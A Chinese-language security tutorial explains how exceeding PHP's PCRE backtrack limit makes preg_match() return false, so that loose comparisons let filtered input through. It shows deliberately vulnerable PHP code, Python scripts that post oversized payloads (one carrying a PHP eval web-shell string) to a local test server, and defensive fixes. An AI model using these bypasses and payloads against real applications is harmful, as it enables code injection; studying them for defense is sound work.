利用正则回溯最大次数上限进行绕过
字数 1247 2025-08-12 11:34:03
利用正则回溯最大次数上限进行绕过 - 技术解析与防御指南
正则回溯基础概念
什么是正则回溯?
正则表达式回溯是一种搜索算法行为,其工作原理如下:
- 从问题的初始状态出发,搜索所有可能达到的状态
- 当一条路径走到尽头(无法继续匹配)时,后退一步或若干步
- 从另一种可能状态出发继续搜索,直到所有路径都试探过
- 这种"前进-后退"的搜索过程称为回溯,本质上是深度优先搜索算法
非贪婪模式回溯示例
text = "abc"
regex = "ab{1,3}c"
在这个例子中,正则引擎会尝试匹配1到3个"b"字符,当匹配失败时会进行回溯。
PHP中的正则回溯限制
PCRE回溯限制机制
PHP为防止正则表达式的拒绝服务攻击(ReDOS),对PCRE设置了回溯次数上限:
- 通过
pcre.backtrack_limit参数控制 - 默认最大回溯次数为1,000,000次
- 可使用
var_dump(ini_get('pcre.backtrack_limit'));查看当前设置
回溯超限行为
当正则匹配回溯次数超过限制时:
preg_match()函数返回false(而非通常的1或0)- 在PHP松散比较中,
false与字符串'0'相等('0' == false为true) - 严格比较(
===)则不会相等
绕过技术原理
利用回溯限制的绕过原理:
- 构造特殊输入使正则引擎进行大量回溯
- 当回溯次数超过
pcre.backtrack_limit时,preg_match()返回false - 利用PHP的松散比较特性(
false == '0') - 绕过安全检查逻辑
实际案例分析
案例一:基本绕过
PHP源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
Python攻击代码:
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>" + 'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
攻击效果:
- 当回溯次数达到999,990次时:可能失败
- 当回溯次数达到1,000,000次时:
preg_match()返回false,与'0'比较成功,输出flag
案例二:复杂条件绕过
PHP源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
Python攻击代码:
import requests
datas = {
'greeting': 'Merry Christmas' + 'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
攻击效果:
- 输入包含"Merry Christmas"前缀
- 添加大量字符使正则回溯超限
preg_match()返回false,!false为truestrpos()检查通过,输出flag
失败案例(无前缀):
datas = {
'greeting': 'h'*1000000
}
将输出"no have Merry Christmas"
防御措施
-
使用严格比较:将
==替换为===可防止松散比较导致的绕过if(is_php($input) === 0) // 安全比较 -
限制输入长度:设置合理的输入长度限制
if(strlen($input) > 1000) die('Input too long'); -
优化正则表达式:避免使用易导致大量回溯的模式
- 减少
.*等贪婪匹配的使用 - 使用更精确的字符类
- 减少
-
调整PCRE设置:
ini_set('pcre.backtrack_limit', 更低的值); -
错误处理:检查
preg_match()的返回值是否为布尔值false$result = preg_match(...); if($result === false) { // 处理匹配失败情况 }
总结
正则回溯绕过是一种利用PHP PCRE实现特性和松散比较的安全漏洞。防御的关键在于:
- 始终使用严格比较(
===) - 对正则匹配结果进行完整验证
- 限制用户输入的长度和复杂性
- 优化正则表达式模式,避免性能陷阱
通过理解正则引擎的工作原理和PHP的类型比较特性,可以有效防御此类攻击。